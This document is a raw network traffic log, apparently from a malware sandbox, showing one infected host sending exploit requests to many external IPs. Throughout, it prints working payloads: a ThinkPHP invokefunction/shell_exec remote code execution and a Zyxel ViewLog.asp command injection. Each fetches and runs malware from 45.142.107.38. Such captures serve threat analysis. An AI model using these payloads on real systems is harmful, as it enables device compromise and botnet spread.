Mar 4, 2024 15:08:29.046844959 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:41.078922987 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.13	41130	62.29.99.146	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.788608074 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.13	51424	94.123.51.178	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.791523933 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.13	38986	95.46.201.228	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.853606939 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:20.047612906 CET	484	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'none' Strict-Transport-Security: max-age=3600 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.13	58874	95.104.119.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.891928911 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:20.123382092 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:08:20 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.13	52040	95.56.26.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.916518927 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:20.173306942 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:08:20.173347950 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.13	41320	95.58.242.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.937508106 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:20.215428114 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:08:20.215543032 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.13	39318	88.210.29.252	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:19.942228079 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:20.149470091 CET	463	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:20 GMT Server: Apache Content-Length: 285 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at localhost Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.13	37316	95.85.136.149	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:20.140547991 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.13	44988	95.100.4.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:20.192507982 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:20.650060892 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:20 GMT Date: Mon, 04 Mar 2024 14:08:20 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 64 37 32 32 63 33 31 26 23 34 36 3b 31 37 30 39 35 36 31 33 30 30 26 23 34 36 3b 31 38 63 30 38 38 64 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.4d722c31.1709561300.18c088d5</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.13	47668	95.217.203.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:20.862461090 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:21.052967072 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:20 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.13	40192	95.0.67.219	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:20.973438025 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:21.349263906 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:07:52 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.13	47888	88.221.67.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:22.538897038 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:22.719757080 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:22 GMT Date: Mon, 04 Mar 2024 14:08:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 34 30 65 30 38 63 33 26 23 34 36 3b 31 37 30 39 35 36 31 33 30 32 26 23 34 36 3b 32 39 30 37 32 33 39 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.340e08c3.1709561302.2907239d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.13	33386	88.195.131.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:22.563055992 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.13	38280	31.136.208.213	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:22.571528912 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:25.718945980 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:31.862971067 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:43.894846916 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.13	46866	94.123.243.114	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:22.604897976 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.13	39624	94.46.176.23	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:22.751624107 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:22.933634043 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:22 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 